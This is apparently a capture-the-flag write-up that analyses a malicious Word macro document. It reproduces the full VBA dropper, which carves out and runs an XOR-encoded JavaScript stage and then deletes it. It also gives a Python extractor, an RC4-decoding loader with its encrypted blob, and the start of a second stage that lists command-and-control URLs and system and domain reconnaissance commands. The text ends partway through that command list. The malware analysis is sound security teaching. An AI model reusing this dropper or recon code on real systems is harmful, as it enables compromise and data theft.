Game Invitation
Description
In the bustling city of KORPâ„¢, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?
Solution
We are given a invitation.docm
file, which is type of Word Document. If you open it in Word/Libreoffice you will enter safe mode (by default) where VBScript's cannot execute. Libreoffice shows this errors and allows you to browse the macros of current file (Idk about Word 💧).
VB Script
script.vba (Somewhat deobfuscated version)
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Public mailformJs As String
Public globalFilename2 As String
Function xor45(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
result = True
End Function
Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill mailformJs
On Error Resume Next
Set fileSystemObject = CreateObject("Scripting.FileSystemObject")
fileSystemObject.DeleteFile globalFilename2 & "\*.*", True
Set fileSystemObject = Nothing
End Sub
Sub AutoOpen()
On Error GoTo FINISH
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
Dim freeFile
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
freeFile = FreeFile
Open (ActiveDocument.FullName) For Binary As #freeFile ' Open document itself
Dim byteArray() As Byte
ReDim byteArray(file_length)
Get #freeFile, 1, byteArray ' Write contents of file into byteArray
Dim byteArrayAsStr As String
byteArrayAsStr = StrConv(byteArray, vbUnicode) ' Convert to string
Dim regexResultItem, regexResult
Dim regexpObject
Set regexpObject = CreateObject("vbscript.regexp")
regexpObject.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set regexResult = regexpObject.Execute(byteArrayAsStr) ' Look for this pattern
Dim regexResultItemFirstIndex
If regexResult.Count = 0 Then
GoTo FINISH
End If
For Each regexResultItem In regexResult
regexResultItemFirstIndex = regexResultItem.FirstIndex
Exit For
Next
Dim buffer_13082() As Byte
Dim _13082 As Long
_13082 = 13082
ReDim buffer_13082(_13082) ' Create buffer of 13082 and store xored data into it
Get #freeFile, regexResultItemFirstIndex + 81, buffer_13082
If Not xor45(buffer_13082(), _13082 + 1) Then
GoTo FINISH
End If
globalFilename2 = Environ("appdata") & "\Microsoft\Windows"
Set fileSystemObject = CreateObject("Scripting.FileSystemObject")
If Not fileSystemObject.FolderExists(globalFilename2) Then
globalFilename2 = Environ("appdata")
End If
Set fileSystemObject = Nothing
Dim freeFile2
freeFile2 = FreeFile
mailformJs = globalFilename2 & "\" & "mailform.js"
Open (mailformJs) For Binary As #freeFile2
Put #freeFile2, 1, buffer_13082
Close #freeFile2
Erase buffer_13082
Set shellObject = CreateObject("WScript.Shell")
shellObject.Run """" + mailformJs + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
FINISH:
Close #freeFile2
ActiveDocument.Save
End If
End Sub
The script reads itself (document), searches for string pattern, after pattern it reads 13082 bytes, performs XOR on that data and writes to file mailform.js
.
Important to note this command being ran, command argument is used in later stage.
shellObject.Run """" + mailformJs + """" + " vF8rdgMHKBrvCoCp0ulm"
mailform.js (Level 1)
Extract file
Extract the file using logic of vb script. (Instead of handling file I just redirected stream to other file)
import re
def xor45(given_string: bytes, length: int) -> bool:
xor_key = 45
for i in range(length - 1):
given_string[i] = given_string[i] ^ xor_key
xor_key = ((xor_key ^ 99) ^ (i % 254))
return given_string
pattern = b'sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa'
buffer_length = 13082
with open('./invitation.docm', 'rb') as f:
data = f.read()
match = re.search(pattern, data).end()
buffer = data[match:match+buffer_length+1]
result = xor45(bytearray(buffer), buffer_length)
print(result)
Deobfuscate JS
Result is highly obfuscated javascript file, I used https://deobfuscate.relative.im tool to deobfuscate the javascript (probably best deobfuscator?).
The javascript file does lots of operations, but in the end it does eval
. This call can be intercepted, because eval
takes javascript code and we can simply change eval
to console.log
to see what is getting passed to it.
WScript.Arguments
in script probably refers to command line arguments, since we intercepted vbscript we know the argument and it can be set manually.
mailform.deobfuscated.js
// var lVky = WScript.Arguments
// var DASz = lVky(0)
var DASz = "vF8rdgMHKBrvCoCp0ulm"
var Iwlh = lyEK()
Iwlh = JrvS(Iwlh)
Iwlh = xR68(DASz, Iwlh)
console.log(Iwlh) // <-- Change `eval` to `console.log`
function af5Q(r) {
var a = r.charCodeAt(0)
if (a === 43 || a === 45) { return 62 }
if (a === 47 || a === 95) { return 63 }
if (a < 48) { return -1 }
if (a < 58) { return a - 48 + 26 + 26 }
if (a < 91) { return a - 65 }
if (a < 123) { return a - 97 + 26 }
}
function JrvS(r) {
var t
var l
var h
if (r.length % 4 > 0) {
return
}
var u = r.length
var g = r.charAt(u - 2) === '=' ? 2 : r.charAt(u - 1) === '=' ? 1 : 0
var n = new Array((r.length * 3) / 4 - g)
var i = g > 0 ? r.length - 4 : r.length
var z = 0
function b(r) {
n[z++] = r
}
for (t = 0, l = 0; t < i; t += 4, l += 3) {
h =
(af5Q(r.charAt(t)) << 18) |
(af5Q(r.charAt(t + 1)) << 12) |
(af5Q(r.charAt(t + 2)) << 6) |
af5Q(r.charAt(t + 3))
b((h & 16711680) >> 16)
b((h & 65280) >> 8)
b(h & 255)
}
if (g === 2) {
h = (af5Q(r.charAt(t)) << 2) | (af5Q(r.charAt(t + 1)) >> 4)
b(h & 255)
} else {
if (g === 1) {
h =
(af5Q(r.charAt(t)) << 10) |
(af5Q(r.charAt(t + 1)) << 4) |
(af5Q(r.charAt(t + 2)) >> 2)
b((h >> 8) & 255)
b(h & 255)
}
}
return n
}
function xR68(r, a) {
var t = []
var l = 0
var h
var u = ''
for (var g = 0; g < 256; g++) {
t[g] = g
}
for (var g = 0; g < 256; g++) {
l = (l + t[g] + r.charCodeAt(g % r.length)) % 256
h = t[g]
t[g] = t[l]
t[l] = h
}
var g = 0
var l = 0
for (var n = 0; n < a.length; n++) {
g = (g + 1) % 256
l = (l + t[g]) % 256
h = t[g]
t[g] = t[l]
t[l] = h
u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
}
return u
}
function lyEK() {
return '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'
}
mailform.js (Level 2)
mailform.2.deobfuscated.js
function S7EN(KL3M) {
var gfjd = WScript.CreateObject('ADODB.Stream')
gfjd.Type = 2
gfjd.CharSet = '437'
gfjd.Open()
gfjd.LoadFromFile(KL3M)
var j3k6 = gfjd.ReadText
gfjd.Close()
return l9BJ(j3k6)
}
var WQuh = new Array(
'http://challenge.htb/wp-includes/pomo/db.php',
'http://challenge.htb/wp-admin/includes/class-wp-upload-plugins-list-table.php'
)
var zIRF = 'KRMLT0G3PHdYjnEm'
var LwHA = new Array(
'systeminfo > ',
'net view >> ',
'net view /domain >> ',
'tasklist /v >> ',
'gpresult /z >> ',
'netstat -nao >> ',
'ipconfig /all >> ',
'arp -a >> ',
'net share >> ',
'net use >> ',
'net user >> ',
'net user administrator >> ',
'net user /domain >> ',
'net user administrator /domain >> ',
'set >> ',
'dir %systemdrive%\\Users\\*.* >> ',
'dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> ',
